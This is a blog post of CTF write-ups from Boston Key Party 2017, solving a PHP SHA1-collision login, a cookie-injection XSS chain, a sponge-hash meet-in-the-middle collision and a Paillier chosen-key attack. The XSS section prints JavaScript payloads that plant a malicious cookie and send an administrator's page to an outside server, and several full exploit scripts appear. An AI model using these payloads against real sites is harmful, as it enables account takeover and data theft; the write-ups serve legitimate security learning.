Boston Key Party 2017 write ups


I took part in the Boston Key Party CTF this weekend, in the Greunion team. I could not attend the party the whole weekend, but still managed to score a few flags.

cloud-50: prudentialv2

This challenge is a website for which we have the source code by clicking on a link on the index page.

We are prompted to submit a username and password:

<?php require 'flag.php'; if (isset($_GET['name']) and isset($_GET['password'])) { $name = (string)$_GET['name']; $password = (string)$_GET['password']; if ($name == $password) { print 'Your password can not be your name.'; } else if (sha1($name) === sha1($password)) { die('Flag: '.$flag); } else { print '<p class="alert">Invalid password.</p>'; } } ?>

The input is correctly casted and the SHA1 comparaisons are exact using the === operator.

However, the first SHA1 collision has been found a few days ago, so we can try and use it:

from urllib import quote import requests with open('shattered-1.pdf') as f: coll1 = with open('shattered-2.pdf') as f: coll2 = print requests.get('{}&password={}'.format( quote(coll1), quote(coll2) )).text # FLAG{AfterThursdayWeHadToReduceThePointValue}

cloud-200: artisinal shoutboxes

This is a web-based challenge. We can create a shoutbox page, which is hosted on its own subdomain. On the shoutbox page, we can send messages, for which the name field is not filtered.

Exploiting the XSS shows that the administrator visits the webpage from time to time and bans the shoutbox page. In the meanwhile, the XSS payload is executed. However, no session cookies are send, and we can not read the admin page from JavaScript since we are on an other subdomain and no CORS header allow cross-domain requests.

However, looking at the login page to access the administration, we noticed the following:

<!-- // Disable for prod //Cookies : [] -->

We assume that the same comment listing cookies is also on the authenticated pages of the administration. We also identified that it is prone to XSS injections.

So we exploit the XSS on the shoutbox page with the payload <script src=""></script>, where is a domain under our control. The x.js file contains:

var p = '--><script src=></script><!--'; var date = new Date(); date.setTime(date.getTime()+60*1000); document.cookie = "xxx=" + p + ";expires=" + date + ";;path=/";

When the administrator visits our shoutbox page, the payload is executed and a malicious cookie is set. Then, when the administrator visits the admin page again, that new payload is executed, which downloads and execute the y.js file containing:

var req = new XMLHttpRequest();'GET', '/', false); req.send(null); (new Image()).src='' + encodeURIComponent(req.responseText);

This payload sends to our server the content of the / page on the administration panel. At the bottom of the page, we find the flag:

***SNIP***<td>Banned</td></tr>\n\n</table>\n\n\n\n<!--\n// Disable for prod\n//Cookies : [admin=FLAG{ShouldntHaveSharedThatSuffixBro} xxx=-->***SNIP***

crypto-200: sponge

We have the Python code for a custom hash function. The function takes the message to digest 10 bytes at a time, modifying the inner state. On the last round, some padding is applied before being digested. The digest phase is based on AES with a static key. Each digest phase is basically the following:

state ='\x00' * 6).encrypt(xor(state, block + '\x00' * 6))

Now, we are provided with a message and need to find an other message that has the same hash.

We will implement a meet in the middle attack, computing a three block message. Our aim is to find three blocks b0, b1, b2 such as the resulting state s4 is the same as the one for the given hash:

Diagram of the attack

Please note that the last 6 bytes of all blocks need to be \x00. As a result, we will try to find blocks b0 and b2 such as the last 6 bytes from states s1 and s2 are the same. At that point, all is left to do is to compute b1 = xor(s1, s2)[:10].

Here is our meet in the middle exploit (after renaming to

from itertools import product from hasher import Hasher, AES import requests def xor(x, y): return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(x, y)) aes ='\x00' * 16) HASHER = Hasher() GIVEN = 'I love using sponges for crypto' TARGET = HASHER.hash(GIVEN) s4 = aes.decrypt(aes.decrypt(aes.decrypt(HASHER.state))) print 'generating b2 candidates' mitm = {} for i in xrange(1 << 24): # about 2Go RAM mitm[aes.decrypt(xor( '{:09x}'.format(i) + '\x81' + '\x00' * 6, s4))[10:]] = i print 'bruteforcing b0' for j in xrange(1 << 24): try: i = mitm[aes.encrypt('{:010x}'.format(j) + '\x00' * 6)[10:]] except KeyError: continue b0 = '{:010x}'.format(j) b2 = '{:09x}'.format(i) break else: raise ValueError('b0 not found') print 'b0', b0.encode('hex') print 'b2', b2.encode('hex') s0 = b0 + '\x00' * 6 s1 = aes.encrypt(s0) s3 = xor(s4, b2 + '\x81' + '\x00' * 6) s2 = aes.decrypt(s3) assert xor(s1, s2)[10:] == '\x00' * 6 b1 = xor(s1, s2)[:10] print 'b1', b1.encode('hex') print 's0', s0.encode('hex') print 's1', s1.encode('hex') print 's2', s2.encode('hex') print 's3', s3.encode('hex') print 's4', s4.encode('hex') b = b0 + b1 + b2 print 'b', b.encode('hex') hashed = HASHER.hash(b) assert hashed == TARGET print 'Requesting the flag' print requests.get( '{}'.format(b.encode('hex')) ).text

Running the exploit gives the flag in less than two minutes:

$ time ./ generating b2 candidates bruteforcing b0 b0 30303030316563323566 b2 303030643263633466 b1 000bd174cb6a7df45c98 s0 30303030316563323566000000000000 s1 9e34d1447fe7ffdcb169fa6beb64b8a0 s2 9e3f0030b48d8228edf1fa6beb64b8a0 s3 df73fd61b2b32a2877ff7740560a1d64 s4 ef43cd0580d0491c117e7740560a1d64 b 30303030316563323566000bd174cb6a7df45c98303030643263633466 Requesting the flag FLAG{MITM 3: This Time It's Personal!} ./ 116,49s user 0,40s system 99% cpu 1:57,27 total

crypto-250: multi party computation

This time we are giving Python code implementing Paillier cryptosystem primitives and a web server.

First, some POINTS are computed from the flag as followed:

with open('FLAG.txt', 'r') as f: flag =[:-1] print flag POINTS = [] for i in range(len(flag)): POINTS.append(random.randrange(2**48) * 256) POINTS.sort() for i in range(len(flag)): POINTS[i] += ord(flag[i])

So the rightmost byte of each point is a character from the flag. We need to recover the points!

The server allows us to choose n, g and poly, and returns us (computations modulo n**2, α and β are random):


However, if we choose poly=[1], then the server is in fact returning only the list of paillier_encrypt((n, g), point) for each point.

Given the fact that we chose n and g, we have the corresponding lam and mu to call paillier_decrypt and recover the point.

There is an issue however, the encrypted points are shuffled by the server, meaning that we cannot extract the flag right away. The good news is that when the flag characters were initially added to the points, just before that the points have been sorted. So we just have to sort the list of decrypted points before extracting the flag.

This is what the following script is doing:

from mpc import * import requests (n, g), (lam, mu) = paillier_keygen() results ='', data=json.dumps({ 'n': n, 'g': g, 'poly': [1], })).json() points = [paillier_decrypt((n, g), (lam, mu), result) for result in results] points.sort() print ''.join(chr(point & 0xff) for point in points) # FLAG{Monic polynomials FTW}


In previous CTFs, I was committed to the full time period to do my best and try to get everything. This was quite exhausting, although good to push your limits and “try harder”.

This time however, I joined late and only tried to solve challenges I was interested in. This is quite a different state of mind. I believe both approach have they pros and cons, but doing it this way allowed me to take part, even for a limited time, so that's still positive in the end.

This article, its images and source code are released under the CC BY-SA licence.

Short URL: